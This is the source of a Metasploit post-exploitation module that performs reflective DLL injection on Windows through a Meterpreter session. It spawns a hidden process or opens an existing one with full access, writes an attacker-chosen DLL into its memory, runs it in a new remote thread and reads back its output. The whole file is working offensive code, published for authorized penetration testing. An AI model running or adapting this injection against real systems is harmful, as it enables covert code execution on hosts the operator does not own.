modules/post/windows/manage/reflective_dll_inject.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Reflective DLL Injection Module',
'Description' => %q{
This module will inject a specified reflective DLL into the memory of a
process, new or existing. If arguments are specified, they are passed to
the DllMain entry point as the lpvReserved (3rd) parameter. To read
output from the injected process, set PID to zero and WAIT to non-zero.
Make sure the architecture of the DLL matches the target process.
},
'License' => MSF_LICENSE,
'Author' => ['Ben Campbell', 'b4rtik'],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_getpid
stdapi_sys_process_kill
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_write
stdapi_sys_process_thread_create
]
}
}
)
)
register_options(
[
OptPath.new('PATH', [true, 'Reflective DLL to inject into memory of a process']),
OptInt.new('PID', [false, 'Pid to inject', 0]),
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
OptInt.new('WAIT', [false, 'Time in seconds to wait before reading output', 0])
], self.class
)
register_advanced_options(
[
OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])
]
)
end
def run
dll_path = ::File.expand_path(datastore['PATH'])
if File.file?(dll_path)
run_dll(dll_path)
else
print_bad("Dll not found #{dll_path}")
end
end
def pid_exists(pid)
mypid = client.sys.process.getpid.to_i
if pid == mypid
print_bad('Can not select the current process as the injection target')
return false
end
host_processes = client.sys.process.get_processes
if host_processes.empty?
print_bad('No running processes found on the target host.')
return false
end
theprocess = host_processes.find { |x| x['pid'] == pid }
!theprocess.nil?
end
def launch_process
process_name = datastore['PROCESS']
process_name << '.exe' unless process_name.end_with?('.exe')
print_status("Launching #{process_name} ...")
channelized = datastore['WAIT'] != 0
process = client.sys.process.execute(
process_name,
nil,
'Channelized' => channelized,
'Hidden' => true
)
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{hprocess.pid} created.")
[process, hprocess]
end
def inject_dll(process, dll_path)
library_path = ::File.expand_path(dll_path)
exploit_mem, offset = inject_dll_into_process(process, library_path)
[exploit_mem, offset]
end
def open_process
pid = datastore['PID'].to_i
if pid_exists(pid)
print_status("Opening handle to process #{datastore['PID']}...")
hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)
print_good('Handle opened')
[nil, hprocess]
else
print_bad('Pid not found')
[nil, nil]
end
end
def run_dll(dll_path)
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
if (datastore['PID'] > 0) || (datastore['WAIT'] == 0)
print_warning('Output unavailable')
end
if datastore['PID'] <= 0
process, hprocess = launch_process
else
process, hprocess = open_process
end
if hprocess.nil?
print_bad('Execution finished')
return
end
exploit_mem, offset = inject_dll(hprocess, dll_path)
if datastore['ARGUMENTS'].nil?
arg_mem = nil
else
arg_mem = copy_args(hprocess)
end
print_status('Executing...')
hprocess.thread.create(exploit_mem + offset, arg_mem)
if datastore['WAIT'] != 0
sleep(datastore['WAIT'])
end
if (datastore['PID'] <= 0) && (datastore['WAIT'] != 0)
read_output(process)
end
if datastore['KILL']
print_good("Killing process #{hprocess.pid}")
client.sys.process.kill(hprocess.pid)
end
print_good('Execution finished.')
end
def copy_args(process)
argssize = datastore['ARGUMENTS'].size + 1
arg_mem = process.memory.allocate(argssize, PAGE_READWRITE)
params = datastore['ARGUMENTS']
params += "\x00"
process.memory.write(arg_mem, params)
arg_mem
end
def read_output(process)
print_status('Start reading output')
old_timeout = client.response_timeout
client.response_timeout = 5
begin
loop do
output = process.channel.read
if !output.nil? && !output.empty?
output.split("\n").each { |x| print_good(x) }
end
break if output.nil? || output.empty?
end
rescue Rex::TimeoutError => e
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
client.response_timeout = old_timeout
print_status('End output.')
end
end